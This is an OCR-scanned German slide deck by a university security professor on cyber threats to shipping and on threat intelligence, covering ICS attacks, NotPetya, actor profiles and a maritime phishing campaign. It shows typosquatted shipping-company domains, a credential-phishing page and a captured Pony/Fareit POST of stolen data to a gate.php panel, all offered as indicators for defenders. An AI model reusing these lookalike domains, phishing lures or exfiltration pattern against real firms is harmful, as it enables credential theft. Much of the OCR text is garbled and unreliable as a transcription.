Cyber-Bedrohungen im Maritimen Sektor
Der Threat Intelligence Ansatz

1. Marz 2018

Prof. Dr. Christian Dietrich

Institut fir Internet-Sicherheit, Westfalische Hochschule
https://chrisdietri.ch
dietrich@internet-sicherheit.de
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Show | 25 7 entries

Name Start
Gangway lighting switching fault 2018-02-11 15:53:45
Current ) _
Main engine Fore SB Common Alarm 2018-02-11 07:41:16
Voltage
Main engine Aft SB Common Alarm 2018-02-11 07:38:44
Current
Thruster Fore Cooling Oil Filter 1 Clogged 2018-02-11 08:03:32
Power
Thruster Aft Cooling Oil Filter 2 Clogged 2018-02-11 07:52:30
Voltage
Gangway lighting switching fault 2018-02-11 07:50:51
Current BRI d
Vi Fuel Oil Day Tank Aft Flow Alarm 2018-02-11 11:28:49
oltage
Thruster Aft Cooling Oil Filter 2 Clogged 2018-02-11 07:36:20
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Last day

Emergency battery voltage (V)
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POSItioNs
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YYYY-MM-DC | & YYYY-MM-DC | @& Filter
Show | 30 ¥/ entries
Time Latitude Longit
2018-02-11 17:12:14 58.302543322245 11.5051
2018-02-11 17:11:13 58.30254166921 11.5055
2018-02-11 17:10:12 58.302491664886 11.5066
2018-02-11 17:09:11 58.302490011851 11.5084
2018-02-11 17:08:10 58.302558326721 11.5115
2018-02-11 17:07:09 58.302566655477 11.5162
2018-02-11 17:06:08 58.302674992879 5213
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All publicly known targeted attacks against
Industrial Control Systems (ICS) wer
. successful.
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Kiev, transmission level

ENERGETIC BEAR 1 hour

(Oragonel, Faves ide) (AR

2005 2010 2017
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Iran 30 substations
S Natanz nuclear facility 230 k affected, 3-6 hours
Nuclear centrifuges Destructive (KillDisk)

Malicious firmware
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SPIONAGE

Abhangigkeiten

Verlauf wichtiger
Versorgungstrassen und Lager

Preise
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DESTRUKTION/SABOTAGE

GroRflachige Zerstorung

Gezielte Angriffe und gezielte
Fehlsteuerung einzelner
Komponenten
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SPIONAGE

Abhangigkeiten

Verlauf wichtiger
Versorgungstrassen und Lager

Preise

ENERGETIC BEAR
(DragonFly, Havex)
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DESTRUKTION/SABOTAGE

GroRflachige Zerstorung

VOODOO BEAR
(BlackEnergy3, Sandworm)

Gezielte Angriffe und gezielte
Fehlsteuerung einzelner
Komponenten

ELECTRUM
(Industroyer, CrashOverride)
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Akteurprofil: ENERGETIC BEAR

e Zielsektoren/Zielbranchen:
Ol, Gas, Energie
e Ursprung:
hdchst wahrscheinlich Russland
e Interessen:
Industrie- und Wirtschaftsspionage
im Kontext der Ol-, Gas-,
Energieversorgung,
moglicherweise auch Sabotage
e Aktivitatszeitraum:
Oktober 2010 bis Ende 2017
wochentags (Mo-Fr)

Quelle: CrowdStrike, Inc.
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Was ist Threat Intelligence?

Geopolitischer Kontext

strategisch Motivation des Akteurs
Zielsektoren/-branchen

taktisch Tactics, Techniques and Procedures (TTP)

Malware- und Tool-Beschreibungen

Indicators of Compromise (I0C):
; Hashes (Samples, Zertifikate), IP-Adressen, Domains, URLs,
operativ volatile Indikatoren (Mutex, Event)
Kontextinformationen




| essons learned

e Einbriche in ICS-Umgebungen sind machbar und sind Realitat
e Angriffswerkzeuge sind seit Gber 10 Jahren verfligbar

Adm. Mike Rogers.

“It is only a matter of the ‘when,’ not the ‘if’ we're going to see a
nation-state, group or actor engage in destructive behavior against
critical infrastructure in the United States,” Adm. Mike Rogers,
Cyber Command chief and director of the National Security Agency,
warned in a speech March 2.

Adm. Rogers’ comments, made during a security conference in San
Francisco, came seven weeks after a sophisticated cyberattack on
the Ukrainian electrical power grid that disrupted large segments of
the country’s power network.

The incident was a “very well-crafted attack,” Adm. Rogers noted,

and was focused on disrupting electrical power. ... “Seven weeks16

Prof. Dr. Christian Dietrich Quelle: http://worldtribune.com/life/nsa-cyber-attack-on-u-s-infrastructure-is-question-of-when-not-if/
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GroBBangelegte Cyberattacke
Hacker legen weltweit Firmen lahm

Per Erpressersoftware haben Hacker den Betrieb von Flughafen, Frachtschiffen und Banken massiv gestort.

Die groBte Containerreederei der Welt Maersk meldete globale IT-Ausfalle, auch deutsche Firmen sind
betroffen.

27.06.2017

Prof. Dr. Christian Dietrich
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NotPetya (Juni 2017)

Name in Anlehnung an Petya
e Initiale Verteilung Giber M.E.Doc (ukrainisches
Steuerprogramm)
e Lateral Movement:
o  Credential dump (Mimikatz)
o ETERNALBLUE, ETERNALROMANCE
e Erscheinungsbild: Ransomware

e 19 (18) Sektoren unwiederbringlich zerstort

e Email-Adresse flir Bezahlung unerreichbar
(posteo.net)

e CryptEncrypt() API-Funktion falsch benutzt

e Salsa20 key: -1nvalid s3ct-id

e Tatsachliche Wirkfunktion: Sabotage/Zerstorung
(Wiper)

Prof. Dr. Christian Dietrich




Geografische Verteilung der NotPetya-Infektionen

Petrwrap/wowsm|th.12345'6 ransomware attack KASPERSKY
Percentage of infections by country
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Russischer Ursprung

e Ukraine war am meisten
betroffen von NotPetya
e Stand Februar 2018: News story

GroRbritannien, die USA und Foreign Office Minister condemns

Australien halten Russland fir | Russia for NotPetya attacks
verantwortlich

e “The UK's National Cyber UK judges that the Russian government was responsible for
Security Centre assesses that the NotPetya cyber-attack of June 2017.
the Russian military was
almost certainly responsible Published 15 February 2018
for the destructive NotPetya
cyber-attack of June 2017.”
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Wie konnen wir uns schutzen?

22



Wie konnen wir uns schutzen?

e Praventive Sicherheit und IT-Praxis
o  Offsite- und Offline-Backups
o Monitoring
o lIsolation

e Reaktive Sicherheit
o Threat Intelligence operationalisieren (Feeds, loC, aber auch taktisch und strategisch!)
o  Aufklarung von Vorfallen, Incident Response

e |Lessons learned erfragen
o Ukraine, Dezember 2015
o TV5 Monde Sabotage, April 2015
o NotPetya: Maersk Line, Saint Gobain, Merck, Beiersdorf, DHL, DB

23
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Adaquate Incident Response?

Stellen Sie sich vor, Ihr Unternehmen wird in diesem Moment von einem
“Ransomware”-Angriff erfasst!

uu$:.$:.8.8:8:Suun
uu$$$$$$$$8$8888S3uu
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us$s$ss $$38usuBusse us$s$ss
$3$$3$3uu »$S$$$$SISE» uus$s$ssss
u$s$$$$$$eSSun e uuuus$$$$s$sss
$3$$xx$$$$3888SSuun UUSSSSSSSESrnnSEen
s #x$$EISSIIISTuu muGoesen
uuuu »=*$3$$$$8888%uuun
u$SSuuuSSSSESESSuu *»$$E$$S$SESSuuusss
$ESISISSmmnn #n$SESSISSESEn
»$$$S$S» #n$SSren
$88» PRESS ANY REY! $$$8»

Welchen Handlungsspielraum? Welche Optionen?

24
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Adaquate Incident Response?

Stellen Sie sich vor, Ihr Unternehmen wird in diesem Moment von einem
“Ransomware”-Angriff erfasst!

e Mit welchem Angreifer habe ich es zu tun? Stichwort Akteurprofil
Motivation des Angreifers: Finanzielle Bereicherung? Erpressung? Sabotage?
Kommen Innentater in Betracht?

Welche Forderungen werden gestellt? Erpressung? Bezahlung maoglich?
Capabilities (wie werden die Fahigkeiten eingeschatzt)?

Level of sophistication (wie wird die Raffinesse eingeschatzt)?

e Monitoring
o Verfligbarkeit der eigenen Komponenten? Endpoint Protection?
o Full Network Packet Capture
o Indikatoren sammeln und Hunting

e “Backup Freeze”"

o O O O O

25
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Ukraine Dezember 2015 - Defense Use Case

e Sehr strukturierter, hochentwickelter Akteur

(@)

(©)

O

Credential Harvesting fur Zugriff auf das ICS-Netzwerk
Expertise in der Bedienung von ICS via SCADA/supervisory control
ca. 6 Monate lange Reconnaissance

e Capabilities

(@)

o O O O O

(@)

Verschiedene Infektionsvektoren genutzt (Word, Excel with Macro code, Spearphish email)
Firmware von Serial-to-Ethernet-Adaptern Gberschrieben => dadurch unbenutzbar
Denial-of-Service-Angriff auf den Telefonsupport

Eigenes Tool, um Daten und MBR zu wipen (KillDisk)

VPN-Zugang zu ICS (Ubergénge von Office-Netz in ICS-Netz)

Gezieltes Abschalten von USV

Gezielte Ubernahmen von Operator-Workstations

e Testing

(@)

Prof. Dr. Christian Dietrich

Sehr wahrscheinlich: Test des Angriffs-Toolings in separater Umgebung

27



Denken wie die
Angreifer



C (@ Nicht sicher | eternalprime.com/oldy/oh/enter/thuhj8hnayz6jcfmvoxmilfz.php?rand=13InboxLightaspxn.1774256418&fid.4.1252899642&fid=1&fav.1&rand.13InboxLight.aspxn.1774... w | & @& RKI

LML - 1
dClSK OlPPINg
v

Shipping Docs Portal

Sign in your email (pmueller@gmail.com)
to confirm your identity for access to
shipping docs

Password

TR TR T ST AT
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Infektionsvektoren

e Mehrere typische Infektionsvektoren

e Praparierte Webseiten zum Abgriff von Zugangsdaten (Credentials)

e Spearphish-Emails mit Schadsoftware (Credential Stealer, Remote Access
Tools)

e Supply Chain (Versorgungskette) als Ziel

30
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Targeted Phishing

oryxenergie.com

oryxenergies.com

exxonmobills.com

exxonmobil.com

kenyas-airways.com

kenya-airways.com

agesavlation.com

agesaviation.com

marcornarine.com

marcomarine.com

libyansteels.com

libyansteel.com

britishsteamships.com

britishsteamship.com

maerrsk.com

maersk.com

Prof. Dr. Christian Dietrich

ORYX

ENERGIES

Ex¢onMobil

Kenya Airways
Tlhe Pricle of A\ frica

6 Ages Aviation Center Inc.

THE SERVICE PARTNER FOR SHIPOWNERS

* 2 MAERSK
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Targeted Phishing

oryxenergie.com

oryxenergies.com
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agesavlation.com
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marcomarine.com

libyansteels.com

libyansteel.com

britishsteamships.com

britishsteamship.com

maerrsk.com

Ly

maersk.com
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ORYX

ENERGIES

Ex¢onMobil

Kenya Airways
Tlhe Pricle of A\ frica

THE SERVICE PARTNER FOR SHIPOWNERS

* 2 MAERSK
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Targeted Attack in the Maritime Sector

P

e Bosartige Schadsoftware (Credential Stealer Pony/Fareit)
e Hochst wahrscheinlich als Anhang per Email verschickt
e Zusatzlich als ein RAR-Archiv komprimiert

Detection

Prof. Dr. Christian Dietrich

RAR

Details
AegisLab

Bkav

Cyren

ESET-NOD32

McAfee

12 engines detected this file

SHA-256
File name
File size

Last analysis

74b2008d4d2a2bfeee154c9b43ad44
Payment_Slip_Bank_Copy_Pdf.z
509.2 KB

2017-05-02 11:39:18 UTC

Community

A Uds.Dangerousobject.Multilc

A W32.HfsAtITIST.81CF

A W32/Autolt.DR.gen!Eldorado

A a variant of Win32/Injector.Autoit.CXG

A Artemis!9F9BF60ESDA1

Detection

e

243

Details
Ad-Aware
AhnLab-v3

Arcabit

AVG

AVLeomn

46 engines detected this file

SHA-256
File name
File size

Last analysis

Relations

ec44ff178c4499c5e4fc0371152cf99
Payment_Slip_Bank_Copy_Pdf.exe
1.1 MB

2017-11-02 02:03:14 UTC

Behavior Community

A Trojan.GenericKD.4976853

A\ Trojan/Win32.5car.C1740631

A Trojan.Generic.D4BFOD5

A Win32:Malware-gen

33
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Targeted Attack in the Maritime Sector E

POST /phii/Panel/gate.php HTTP/1.0

Host: www.ashley-shipplng.com

Accept: */*

Accept-Encoding: identity, *;q=0

Content-Length: 686

Connection: close

Content-Type: application/octet-stream

Content-Encoding: binary

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)

0000 FE 87 47 D7 76 03 D2 3A E5 FF 24 FB D4 85 6D 68 ..G.v..:..%...mh
0010 6F 76 F9 3B 73 BA 91 AO OF 62 16 EB Bl 21 29 6B ovV.;S....b...1)k
0020 DO D7 01 9C A0 24 5C 72 39 9C E9 1C 9D AD A8 5C  ..... $.r9.......
0030 D3 67 75 EA 9F 67 F3 DB 31 1F B5 58 59 B1 21 77 .gu..g..1..XY.lw
0040 oD A8 01 DF 7D 61 74 AB 96 E1 85 3C 81 F7 oC 16 RS T- 1 SR
0050 5B E6 68 C6 17 2F 99 AC 80 FoO 2B B2 17 73 6B 67 [.h../....+..skg
0060 41 20 E7 DB 81 CO BF F3 BA 19 D9 64 CA CF 7C DC A 560000000 d..|.
0070 FA 3E A4 15 70 E9 73 EC F8 BoO 0C 42 CB 9F C6 Fo .>..p.s....B

0080 DD 62 OA 96 3C C8 84 7E CB 28 7D D7 C9 A9 8D DF bo<o o~ (T
0090 FC A2 CD B3 D7 1E FE C3 FO 78 EA 53 FB 31 CB 84  ......... x.S.1..
00A0 1A 24 61 9B 48 81 71 3D AA 12 92 EB 36 19 91 06 .$a.H.gq=....6...

34
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Targeted Attack in the Maritime Sector E

POST /phii/Panel/gate.php HTTP/1.0
Host: www.ashley-shipplng.com .
Accept: */* www.ashley-shipplng.com
Accept-Encoding: identity, *;q=0

Content-Length: 686

Connection: close

Content-Type: application/octet-stream

Content-Encoding: binary

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)

0000 FE 87 47 D7 76 03 D2 3A E5 FF 24 FB D4 85 6D 68 ..G.v..:..%...mh
0010 6F 76 F9 3B 73 BA 91 AO OF 62 16 EB Bl 21 29 6B ovV.;S....b...1)k
0020 DO D7 01 9C A0 24 5C 72 39 9C E9 1C 9D AD A8 5C  ..... $.r9.......
0030 D3 67 75 EA 9F 67 F3 DB 31 1F B5 58 59 B1 21 77 .gu..g..1..XY.lw
0040 oD A8 01 DF 7D 61 74 AB 96 E1 85 3C 81 F7 oC 16 RS T- 1 SR
0050 5B E6 68 C6 17 2F 99 AC 80 FoO 2B B2 17 73 6B 67 [.h../....+..skg
0060 41 20 E7 DB 81 CO BF F3 BA 19 D9 64 CA CF 7C DC A 560000000 d..|.
0070 FA 3E A4 15 70 E9 73 EC F8 BO 0C 42 CB 9F C6 Fo .>..p.s....B

0080 DD 62 OA 96 3C C8 84 7E CB 28 7D D7 C9 A9 8D DF bo<o o~ (T
0090 FC A2 CD B3 D7 1E FE C3 FO 78 EA 53 FB 31 CB 84  ......... x.S.1..
00A0 1A 24 61 9B 48 81 71 3D AA 12 92 EB 36 19 91 06 .$a.H.gq=....6...
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Targeted Attack in the Maritime Sector E

Ashley Global Shipping

Innovative Logistics Solutions

Get Started




C  ® www.gulf-marine.com % O ¢

fEmm SN P
Guli @0 s =
\ 4 CHANGE TO

& GULF ABOUT US NETWORK PRODUCTS SERVICES

Contact us to formulate your transition plan.

il ‘\'Q = ” I
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V.Ships

w
< ===
———
Unternehmen M. .
V.Ships vshiips.com
V.Group Limited, mit seiner Tochter V.Ships mit Sitz in St Johns auf der AS h I ey G Io ba I S h I p pl n g
britischen Isle of Man, ist laut eigenen Angaben der weltweit grote Innovative Logistics Solutions
Anbieter von Schiffsmanagement-Dienstleistungen. Wikipedia o
VSHIIPS.COM
@
MEGAAGRO-MY.COM
asrLevsHERLNG.COM | www.ashley-shipplng.com
gulf-marlne.com
WWW.ASHLEY-SHIPPLNG.COM
GULF-MARLNE.COM
[ J
S e oo Search
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& ® www.centurylogistics.com.vn

CENTURY®
LOGISTICS

Your Cargo - Our Property

Prof. Dr. Christian Dietrich

TRANG CHU

{(‘ (a8P

. Hotline: +84 901 83 83 88 - Mr Son & Email: son@centurylogistics.com.vn B

VE CHUNG TOI ~ DICH VY ~ LIEN HE

centurylogistlcs-vn.com
28.01.2018
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SINOSIN MARINE SERVICES CO

Couldn't load plugin

O MRRER=

(SINOSIN SHIP MANAGERS CO., LTD)

LTD

sinosinshlps.com
28.01.2018

M.V Ineresa Hainan
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CONTACT US

S
n

HOME COMPANY BACKGROUND OUR SYST




mtl-duisburg-de.com

02.05.2017

Start
About us
Service
Fleet
Contact
Imprint

OO0O®o0oo0oO0

o

Coasters

Ships Details
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MTL FLEET

o

Handy

J

Babycape

Ships Details

Ships Details
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G X GERMAN TAN KER SHIPPl NG Offene Stellen Schiffe Kontakt News Emissior

german-tanker-de.com
14.01.2018

German Tanker Shipping

Herzlich Willkommen auf unserer Internetprasenz. German Tanker Shipping ist eine /
am 01.01.1998 gegriindete Reederei mit Sitz in Bremen.

Unsere Flotte besteht aus 22 hochmodernen Olproduktentankern, von denen 19 in
Deutschland gebaut wurden.

PR 4

o
S

Zu unserer Philosophie gehorte es vom ersten Tag an, sich als ,echte” Reederei
rundum um unsere Tanker zu kimmern. Bauaufsicht, Bemannung, Befrachtung,
Operations, Buchhaltung, Finanzierung, EDV, Zahlungsverkehr, Versicherungen,
Versorgung mit Vorraten und Ersatzteilen, Wartung und Inspektionen sowie die
standige Uberwachung und Verbesserung aller Qualitits- und Sicherheitsstandards
wurden und werden zentral aus der Hans-Bockler-StralRe in Bremen gesteuert. So
war es von Anfang an und so ist es auch heute.
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REEDEREI NSB See Land Wissen ((Suche pe e [Miogint

reederie-nsh.com
27.11.2017

Auf den ,,Highways* des intemnationalen Seeverkehrs seizen wir
einiges in Bewegung. Dabei verfolgen wir stets das Pnnznp ,,Qu litd ] ——
Made in Germany“. Mit einer starken Flotte und einer modernen
Palette an Dienstleistungen, die dber das reine Bereeder run'é%ges‘n:}l?ﬂ'iv
hinausgehen, sind wir heute eine der ﬁlhrenden Contamerreederene e

der Welt. == T / —




Targeted domain registrations by one actor _1

sinosinshlps.com

sinosinships.com

Sinosin Ship Managers Ltd.

alliancetenker.com

alliancetanker.com

Alliance Tanker Chartering

mtu-onlne.com

mtu-online.com

MTU Friedrichshafen GmbH

of

safishpping.com

safishipping.com

SAFI GEMI ISLETMECILIGI A.S.

vshiips.com

vships.com

V Group Ltd, V Ships

korshp.com

korship.com

Korkyra Shipping Ltd. - Ship
Management and Operations

bws-dk.com

bws.net

Blue Water Shipping

Il

mtl-duisburg-de.com

mtl-duisburg.de

Maritime Transport + Logistik
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Fazit



Fazit

e Exposition

o  Der maritime Sektor ist im Fadenkreuz von Cyber-Angriffen
Diverse Infektionsvektoren
Phishing mittels gezielter Webseiten/Domains
Spear-Phish Emails
Schadsoftware

o O O O

e Reaktive Mechanismen

o Gangige IT-Sicherheitspraxis
Table-top exercises
Monitoring der Exposition
Threat Intelligence

o O O
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Ausblick

e Als Hochschule immer an Kooperationspartnern interessiert

e Gemeinsame Abschlussarbeiten
o Bachelor Thesis
o Master Thesis

e Analyse von Schadsoftware

dietrich@internet-sicherheit.de

https://chrisdietri.ch
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Vielen Dank. Fragen?

Prof. Dr. Christian Dietrich 3 —
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